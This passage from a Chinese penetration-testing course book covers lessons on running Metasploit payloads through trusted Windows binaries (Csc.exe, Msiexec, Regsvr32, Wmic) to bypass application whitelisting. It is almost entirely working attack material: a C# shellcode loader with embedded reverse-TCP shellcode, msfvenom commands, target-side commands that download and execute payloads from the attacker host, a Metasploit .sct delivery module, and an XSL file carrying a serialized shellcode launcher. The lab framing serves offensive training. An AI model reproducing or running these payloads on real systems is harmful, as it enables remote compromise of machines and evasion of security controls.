0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,x41, 62. 63. 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,x48, 64. 65. 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,x8b, 66. 67. 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,x8b, 68. 69. 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,x41, 70. 71. 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,xc1, 72. 73. 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,x45, 74. 75. 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,x8b, 76. 77. 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,x01, 78. 79. 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,x48, 80. 81. 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,xe9, 82. 83. 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,x00, 84. 85. 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,xe5, 86. 87. 0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,xe4, 88. 89. 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,x68, 90. 91. 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,x0a, 92. 93. 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,x89, 94. 95. 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,xd5, 96. 97. 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,xba, 98. 99. 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,xe5, 100. 第七十七课:基于白名单Csc.exe执行payload第七季 -505- 本文档使用书栈(BookStack.CN)构建 101. 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,xc9, 102. 103. 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,xd5, 104. 105. 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,x41, 106. 107. 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,x41, 108. 109. 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,x31, 110. 111. 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,xc8, 112. 113. 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,x40, 114. 115. 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,xd5, 116. 117. 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,x3c, 118. 119. 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,x41, 120. 121. 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,xd5}; 122. 123. 124. UInt32funcAddr=VirtualAlloc(0,(UInt32)shellcode.Length, 125. 126. MEM_COMMIT,PAGE_EXECUTE_READWRITE); 127. 128. Marshal.Copy(shellcode,0,(IntPtr)(funcAddr),shellcode.Length); 129. 130. IntPtrhThread=IntPtr.Zero; 131. 132. UInt32threadId=0; 133. 134. IntPtrpinfo=IntPtr.Zero; 135. 136. hThread=CreateThread(0,0,funcAddr,pinfo,0,refthreadId); 137. 138. WaitForSingleObject(hThread,0xFFFFFFFF); 139. 140. } 141. 142. privatestaticUInt32MEM_COMMIT=0x1000; 第七十七课:基于白名单Csc.exe执行payload第七季 -506- 本文档使用书栈(BookStack.CN)构建 143. 144. privatestaticUInt32PAGE_EXECUTE_READWRITE=0x40; 145. 146. [DllImport("kernel32")] 147. 148. privatestaticexternUInt32VirtualAlloc(UInt32lpStartAddr,UInt32size, UInt32flAllocationType,UInt32flProtect); 149. 150. [DllImport("kernel32")] 151. 152. privatestaticexternboolVirtualFree(IntPtrlpAddress, 153. 154. UInt32dwSize,UInt32dwFreeType); 155. 156. [DllImport("kernel32")] 157. 158. privatestaticexternIntPtrCreateThread( 159. 160. UInt32lpThreadAttributes, 161. 162. UInt32dwStackSize, 163. 164. UInt32lpStartAddress, 165. 166. IntPtrparam, 167. 168. UInt32dwCreationFlags, 169. 170. refUInt32lpThreadId 171. 172. ); 173. 174. [DllImport("kernel32")] 175. 176. privatestaticexternboolCloseHandle(IntPtrhandle); 177. 178. [DllImport("kernel32")] 179. 180. privatestaticexternUInt32WaitForSingleObject( 181. 182. IntPtrhHandle, 183. 第七十七课:基于白名单Csc.exe执行payload第七季 -507- 本文档使用书栈(BookStack.CN)构建 184. UInt32dwMilliseconds 185. 186. ); 187. 188. [DllImport("kernel32")] 189. 190. privatestaticexternIntPtrGetModuleHandle( 191. 192. stringmoduleName 193. 194. ); 195. 196. [DllImport("kernel32")] 197. 198. privatestaticexternUInt32GetProcAddress( 199. 200. IntPtrhModule, 201. 202. stringprocName 203. 204. ); 205. 206. [DllImport("kernel32")] 207. 208. privatestaticexternUInt32LoadLibrary( 209. 210. stringlpFileName 211. 212. ); 213. 214. [DllImport("kernel32")] 215. 216. privatestaticexternUInt32GetLastError(); 217. 218. } Micropoor 第七十七课:基于白名单Csc.exe执行payload第七季 -508- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,身体特别重要。 Msiexec是WindowsInstaller的一部分。用于安装WindowsInstaller安装包(MSI), 一般在运行MicrosoftUpdate安装更新或安装部分软件的时候出现,占用内存比较大。并且集成 于Windows2003,Windows7等。 说明:Msiexec.exe所在路径已被系统添加PATH环境变量中,因此,Msiexec命令可识别。 Windows2003默认位置: 1. C:\WINDOWS\system32\msiexec.exe 2. C:\WINDOWS\SysWOW64\msiexec.exe 攻击机:192.168.1.4Debian 靶机:192.168.1.119Windows2003 Msiexec简介: 基于白名单Msiexec.exe配置payload: 配置攻击机msf: 配置payload: 第七十八课:基于白名单Msiexec执行payload第八季 -509- 本文档使用书栈(BookStack.CN)构建 1. msfvenom‐pwindows/x64/shell/reverse_tcpLHOST=192.168.1.4LPORT=53‐fmsi> Micropoor_rev_x64_53.txt 1. C:\Windows\System32\msiexec.exe/q/i http://192.168.1.4/Micropoor_rev\_x64_53.txt 靶机执行: 第七十八课:基于白名单Msiexec执行payload第八季 -510- 本文档使用书栈(BookStack.CN)构建 Micropoor 第七十八课:基于白名单Msiexec执行payload第八季 -511- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,身体特别重要。 Regsvr32命令用于注册COM组件,是Windows系统提供的用来向系统注册控件或者卸载控件的命 令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000 系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的DLL,需要提供 DllRegisterServer和DllUnregisterServer两个输出函式,或者提供DllInstall输出函 数。 说明:Regsvr32.exe所在路径已被系统添加PATH环境变量中,因此,Regsvr32命令可识别。 Windows2003默认位置: 1. C:\WINDOWS\SysWOW64\regsvr32.exe 2. C:\WINDOWS\system32\regsvr32.exe 攻击机:192.168.1.4Debian 靶机:192.168.1.119Windows2003 msf已内置auxiliary版本的regsvr32_command_delivery_server,但是最新版已经无 exploit版本regsvr32,文章结尾补充。 1. msfauxiliary(server/regsvr32_command_delivery_server)>use auxiliary/server/regsvr32_command_delivery_server 2. msfauxiliary(server/regsvr32_command_delivery_server)>setCMDnetuser MicropoorMicropoor/add 3. CMD=>netuserMicropoorMicropoor/add 4. msfauxiliary(server/regsvr32_command_delivery_server)>exploit 5. 6. [*]UsingURL:http://0.0.0.0:8080/ybn7xESQYCGv 7. [*]LocalIP:http://192.168.1.4:8080/ybn7xESQYCGv 8. [*]Serverstarted. 9. [*]Runthefollowingcommandonthetargetmachine: 10. 11. regsvr32/s/n/u/i:http://192.168.1.4:8080/ybn7xESQYCGvscrobj.dll Regsvr32简介: 配置攻击机msf: 第七十九课:基于白名单Regsvr32执行payload第九季 -512- 本文档使用书栈(BookStack.CN)构建 1. regsvr32/s/n/u/i:http://192.168.1.4:8080/ybn7xESQYCGvscrobj.dll 靶机执行: 第七十九课:基于白名单Regsvr32执行payload第九季 -513- 本文档使用书栈(BookStack.CN)构建 regsvr32_applocker_bypass_server.rb 1. ## 2. 3. #ThismodulerequiresMetasploit:http://metasploit.com/download 4. #Currentsource:https://github.com/rapid7/metasploit‐framework 5. 6. ## 7. 8. classMetasploitModule<Msf::Exploit::Remote 9. Rank=ManualRanking 10. 11. includeMsf::Exploit::Powershell 12. includeMsf::Exploit::Remote::HttpServer 13. 14. definitialize(info={}) 15. super(update_info(info, 16. 'Name'=>'Regsvr32.exe(.sct)ApplicationWhitelistingBypassServer', 附:powershell版Regsvr32 第七十九课:基于白名单Regsvr32执行payload第九季 -514- 本文档使用书栈(BookStack.CN)构建 'Description'=>%q( 17. ThismodulesimplifiestheRegsvr32.exeApplicationWhitelistingBypass technique. 18. Themodulecreatesawebserverthathostsan.sctfile.Whentheusertypes theprovidedregsvr32commandonasystem,regsvr32willrequestthe.sctfile andthenexecutetheincludedPowerShellcommand. 19. Thiscommandthendownloadsandexecutesthespecifiedpayload(similartothe web_deliverymodulewithPSH). 20. Bothwebrequests(i.e.,the.sctfileandPowerShelldownloadandexecute)can occuronthesameport. 21. ), 22. 23. 'License'=>MSF_LICENSE, 24. 'Author'=> 25. [ 26. 'CaseySmith',#AppLockerbypassresearchandvulnerabilitydiscover y(\@subTee) 27. 'TrentonIvey',#MSFModule(kn0) 28. ], 29. 'DefaultOptions'=> 30. { 31. 'Payload'=>'windows/meterpreter/reverse_tcp' 32. }, 33. 'Targets'=>[['PSH',{}]], 34. 'Platform'=>%w(win), 35. 'Arch'=>[ARCH_X86,ARCH_X86_64], 36. 'DefaultTarget'=>0, 37. 'DisclosureDate'=>'Apr192016', 38. 'References'=> 39. [ 40. ['URL','http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐ script.html'] 41. ] 42. )) 43. end 44. 45. defprimer 46. print_status('Runthefollowingcommandonthetargetmachine:') 47. print_line("regsvr32/s/n/u/i:\#{get_uri}.sctscrobj.dll") 48. end 49. 50. defon_request_uri(cli,_request) 第七十九课:基于白名单Regsvr32执行payload第九季 -515- 本文档使用书栈(BookStack.CN)构建 51. #Iftheresourcerequestendswith'.sct',servethe.sctfile 52. #Otherwise,servethePowerShellpayload 53. if_request.raw_uri=~/\.sct$/ 54. serve_sct_file 55. else 56. serve_psh_payload 57. end 58. end 59. 60. defserve_sct_file 61. print_status("Handlingrequestforthe.sctfilefrom#{cli.peerhost}") 62. ignore_cert=Rex::Powershell::PshMethods.ignore_ssl_certificateifssl 63. download_string= Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri) 64. download_and_run="#{ignore_cert}#{download_string}" 65. psh_command=generate_psh_command_line( 66. noprofile:true, 67. windowstyle:'hidden', 68. command:download_and_run 69. ) 70. data=gen_sct_file(psh_command) 71. send_response(cli,data,'Content‐Type'=>'text/plain') 72. end 73. 74. defserve_psh_payload 75. print_status("Deliveringpayloadto#{cli.peerhost}") 76. data=cmd_psh_payload(payload.encoded, 77. payload_instance.arch.first, 78. remove_comspec:true, 79. use_single_quotes:true 80. ) 81. send_response(cli,data,'Content‐Type'=>'application/octet‐stream') 82. end 83. 84. defrand_class_id 85. "#{Rex::Text.rand_text_hex8}‐#{Rex::Text.rand_text_hex4}‐# {Rex::Text.rand_text_hex4}‐#{Rex::Text.rand_text_hex4}‐# {Rex::Text.rand_text_hex12}" 86. end 87. 88. defgen_sct_file(command) 89. %{<?XMLversion="1.0"?><scriptlet><registrationprogid="\#{rand_text_a 第七十九课:基于白名单Regsvr32执行payload第九季 -516- 本文档使用书栈(BookStack.CN)构建 lphanumeric8}" 90. classid="{#{rand_class_id}}"><script><![CDATA[varr=ne wActiveXObject("WScript.Shell").Run("#{command}",0);]]><script></registration> </scriptlet>} 91. end 92. 93. end 使用方法: copyregsvr32_applocker_bypass_server.rbto/usr/share/metasploit- framework/modules/exploits/windows/misc Micropoor 第七十九课:基于白名单Regsvr32执行payload第九季 -517- 本文档使用书栈(BookStack.CN)构建 注:请多喝点热水或者凉白开,可预防肾结石,通风等。 WMIC扩展WMI(WindowsManagementInstrumentation,Windows管理工具),提供了从命令 行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门 的WMI应用,例如SMS,或者使用WMI的脚本编程API,或者使用象CIMStudio之类的工具。如果不熟 悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管 理系统是很困难的。WMIC改变了这种情况。 说明:Wmic.exe所在路径已被系统添加PATH环境变量中,因此,Wmic命令可识别,需注意x86,x64 位的Wmic调用。 Windows2003默认位置: 1. C:\WINDOWS\system32\wbem\wmic.exe 2. C:\WINDOWS\SysWOW64\wbem\wmic.exe Windows7默认位置: 1. C:\Windows\System32\wbem\WMIC.exe 2. C:\Windows\SysWOW64\wbem\WMIC.exe 攻击机: 192.168.1.4Debian 靶机: 192.168.1.119Windows2003 192.168.1.5Windows7 1. msfexploit(multi/handler)>showoptions 2. 3. Moduleoptions(exploit/multi/handler): 4. 5. NameCurrentSettingRequiredDescription 6. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 7. 8. Payloadoptions(windows/meterpreter/reverse_tcp): 9. 10. NameCurrentSettingRequiredDescription Wmic简介: 配置攻击机msf: 第八十课:基于白名单Wmic执行payload第十季 -518- 本文档使用书栈(BookStack.CN)构建 11. ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ 12. EXITFUNCprocessyesExittechnique(Accepted:'',seh,thread,process,none) 13. 14. LHOST192.168.1.4yesThelistenaddress(aninterfacemaybespecified) 15. 16. LPORT53yesThelistenport 17. 18. Exploittarget: 19. 20. IdName 21. 22. ‐‐‐‐‐‐ 23. 24. 0WildcardTarget23 Windows7: 1. C:\Windows\SysWOW64\wbem\WMIC.exeosget 2. /format:"http://192.168.1.4/Micropoor.xsl" 靶机执行: 第八十课:基于白名单Wmic执行payload第十季 -519- 本文档使用书栈(BookStack.CN)构建 Windows2003: 1. WMIC.exeosget/format:"http://192.168.1.4/Micropoor_2003.xsl" 第八十课:基于白名单Wmic执行payload第十季 -520- 本文档使用书栈(BookStack.CN)构建 Micropoor_Win7.xsl: 1. <?xmlversion='1.0'?> 2. 3. <stylesheet 4. 5. xmlns="http://www.w3.org/1999/XSL/Transform"xmlns:ms="urn:schemas‐microsoft‐ com:xslt" 6. 7. xmlns:user="placeholder" 8. 9. version="1.0"> 10. 11. <outputmethod="text"/> 12. 13. <ms:scriptimplements‐prefix="user"language="JScript"> 14. 15. <![CDATA[ 16. 17. functionsetversion(){ 18. 19. } 20. 21. functiondebug(s){} 22. 23. functionbase64ToStream(b){ 24. 25. varenc=newActiveXObject("System.Text.ASCIIEncoding"); 26. 27. varlength=enc.GetByteCount_2(b); 28. 附录: 第八十课:基于白名单Wmic执行payload第十季 -521- 本文档使用书栈(BookStack.CN)构建 29. varba=enc.GetBytes_4(b); 30. 31. vartransform=new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); 32. 33. ba=transform.TransformFinalBlock(ba,0,length); 34. 35. varms=newActiveXObject("System.IO.MemoryStream"); 36. 37. ms.Write(ba,0,(length/4)*3); 38. 39. ms.Position=0; 40. 41. returnms; 42. 43. } 44. 45. varserialized_obj= "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+ 46. "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+ 47. "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+ 48. "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+ 49. "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+ 50. "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+ 51. "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+ 52. "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+ 53. "aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+ 54. "MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+ 55. "dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"+ 56. "ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+ 57. "B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+ 58. "dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+ 59. "CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"+ 60. "SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+ 61. "cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+ 62. "AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+ 63. "AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+ 64. "bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+ 65. "NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+ 66. "ZW1ibHkGFwAAAARMb2FkCg8MAAAAABQAAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"+ 67. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"+ 68. "YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAVC1CXAAAAAAA"+ 第八十课:基于白名单Wmic执行payload第十季 -522- 本文档使用书栈(BookStack.CN)构建 69. "AAAA4AACIQsBCwAADAAAAAYAAAAAAAAOKgAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"+ 70. "AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAwCkA"+ 71. "AEsAAAAAQAAA0AIAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 72. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"+ 73. "AAAALnRleHQAAAAUCgAAACAAAAAMAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAA0AIAAABA"+ 74. "AAAABAAAAA4AAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAASAAAAAAAAAAAA"+ 75. "AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAPApAAAAAAAASAAAAAIABQBEIgAAfAcAAAMAAAAAAAAA"+ 76. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQgIoBAAACgAA"+ 77. "KAIAAAYAACoAAAAAAAAA/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH"+ 78. "4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiL"+ 79. "WCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/"+ 80. "0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/"+ 81. "1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBW"+ 82. "U1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMp"+ 83. "xnXBw7vwtaJWagBT/9UAAAATMAYAZQAAAAEAABEAIFUBAACNBgAAASXQAwAABCgGAAAKChYGjml+"+ 84. "AQAABH4CAAAEKAMAAAYLBhYHbigHAAAKBo5pKAgAAAoAfgkAAAoMFg1+CQAAChMEFhYHEQQWEgMo"+ 85. "BAAABgwIFSgFAAAGJisAKkogABAAAIABAAAEH0CAAgAABCpCU0pCAQABAAAAAAAMAAAAdjQuMC4z"+ 86. "MDMxOQAAAAAFAGwAAABgAgAAI34AAMwCAABkAwAAI1N0cmluZ3MAAAAAMAYAAAgAAAAjVVMAOAYA"+ 87. "ABAAAAAjR1VJRAAAAEgGAAA0AQAAI0Jsb2IAAAAAAAAAAgAAAVfVAjQJAgAAAPolMwAWAAABAAAA"+ 88. "DwAAAAQAAAADAAAABgAAAAwAAAALAAAABAAAAAEAAAABAAAAAQAAAAEAAAADAAAAAQAAAAEAAAAB"+ 89. "AAAAAQAAAAAACgABAAAAAAAGAEsARAAGAFsBPwEGAHcBPwEGAKYBhgEGAMYBhgEGAPcBRAAGAEEC"+ 90. "hgEGAFwCRAAGAJgChgEGAKcCRAAGAK0CRAAGANACRAAGAAID4wIGABQD4wIGAEcDNwMAAAAAAQAA"+ 91. "AAAAAQABAAEAEAAhACkABQABAAEAAAAAAPwBAAAFAAMABwATAQAAZgIAACEABAAHABEAXQASABEA"+ 92. "aAASABMBhAI+AFAgAAAAAIYYUgAKAAEAwCEAAAAAkQBYAA4AAQAAAAAAgACRIH8AFQABAAAAAACA"+ 93. "AJEgjAAdAAUAAAAAAIAAkSCZACgACwAxIgAAAACRGDADDgANAAAAAQCtAAAAAgC5AAAAAwC+AAAA"+ 94. "BADPAAAAAQDZAAAAAgDsAAAAAwD4AAAABAAHAQAABQANAQAABgAdAQAAAQAoAQAAAgAwAREAUgAu"+ 95. "ACEAUgA0ACkAUgAKAAkAUgAKADkAUgAKAEkAwAJCAGEA1wJKAGkACgNPAGEADwNYAHEAUgBkAHkA"+ 96. "UgAKACcAWwA5AC4AEwBpAC4AGwByAGMAKwA5AAgABgCRAAEAVQEAAAQAWwAnAwABBwB/AAEAAAEJ"+ 97. "AIwAAQAAAQsAmQABAGggAAADAASAAAAAAAAAAAAAAAAAAAAAAOQBAAAEAAAAAAAAAAAAAAABADsA"+ 98. "AAAAAAQAAwAAAAA8TW9kdWxlPgB3bWlfY3NfZGxsX3BheWxvYWQuZGxsAFByb2dyYW0AU2hlbGxD"+ 99. "b2RlTGF1bmNoZXIAbXNjb3JsaWIAU3lzdGVtAE9iamVjdAAuY3RvcgBNYWluAE1FTV9DT01NSVQA"+ 100. "UEFHRV9FWEVDVVRFX1JFQURXUklURQBWaXJ0dWFsQWxsb2MAQ3JlYXRlVGhyZWFkAFdhaXRGb3JT"+ 101. "aW5nbGVPYmplY3QAbHBTdGFydEFkZHIAc2l6ZQBmbEFsbG9jYXRpb25UeXBlAGZsUHJvdGVjdABs"+ 102. "cFRocmVhZEF0dHJpYnV0ZXMAZHdTdGFja1NpemUAbHBTdGFydEFkZHJlc3MAcGFyYW0AZHdDcmVh"+ 103. "dGlvbkZsYWdzAGxwVGhyZWFkSWQAaEhhbmRsZQBkd01pbGxpc2Vjb25kcwBTeXN0ZW0uU2VjdXJp"+ 104. "dHkuUGVybWlzc2lvbnMAU2VjdXJpdHlQZXJtaXNzaW9uQXR0cmlidXRlAFNlY3VyaXR5QWN0aW9u"+ 105. "AFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0"+ 106. "dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQB3bWlfY3NfZGxsX3BheWxvYWQA"+ 107. "Qnl0ZQA8UHJpdmF0ZUltcGxlbWVudGF0aW9uRGV0YWlscz57MEQxQTVERjAtRDZCNy00RUUzLUJB"+ 108. "QzItOTY0MUUyREJCMDNFfQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBWYWx1ZVR5cGUAX19T"+ 109. "dGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zNDEAJCRtZXRob2QweDYwMDAwMDItMQBSdW50aW1lSGVs"+ 110. "cGVycwBBcnJheQBSdW50aW1lRmllbGRIYW5kbGUASW5pdGlhbGl6ZUFycmF5AEludFB0cgBvcF9F"+ 第八十课:基于白名单Wmic执行payload第十季 -523- 本文档使用书栈(BookStack.CN)构建 111. "eHBsaWNpdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABDb3B5AFplcm8A"+ 112. "RGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyAC5jY3RvcgBTeXN0ZW0uU2VjdXJpdHkAVW52ZXJp"+ 113. "ZmlhYmxlQ29kZUF0dHJpYnV0ZQAAAAAAAyAAAAAAAPBdGg231uNOusKWQeLbsD4ACLd6XFYZNOCJ"+ 114. "AyAAAQMAAAECBgkHAAQJCQkJCQoABhgJCQkYCRAJBQACCRgJBSABARENBCABAQgEAQAAAAMGERAH"+ 115. "AAIBEikRLQQAARgKCAAEAR0FCBgIAgYYCAcFHQUJGAkYBCABAQ4IAQAIAAAAAAAeAQABAFQCFldy"+ 116. "YXBOb25FeGNlcHRpb25UaHJvd3MBgJ4uAYCEU3lzdGVtLlNlY3VyaXR5LlBlcm1pc3Npb25zLlNl"+ 117. "Y3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3Vs"+ 118. "dHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5FQFUAhBTa2lwVmVy"+ 119. "aWZpY2F0aW9uAQAAAOgpAAAAAAAAAAAAAP4pAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwKQAA"+ 120. "AAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAA"+ 121. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 122. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ 123. 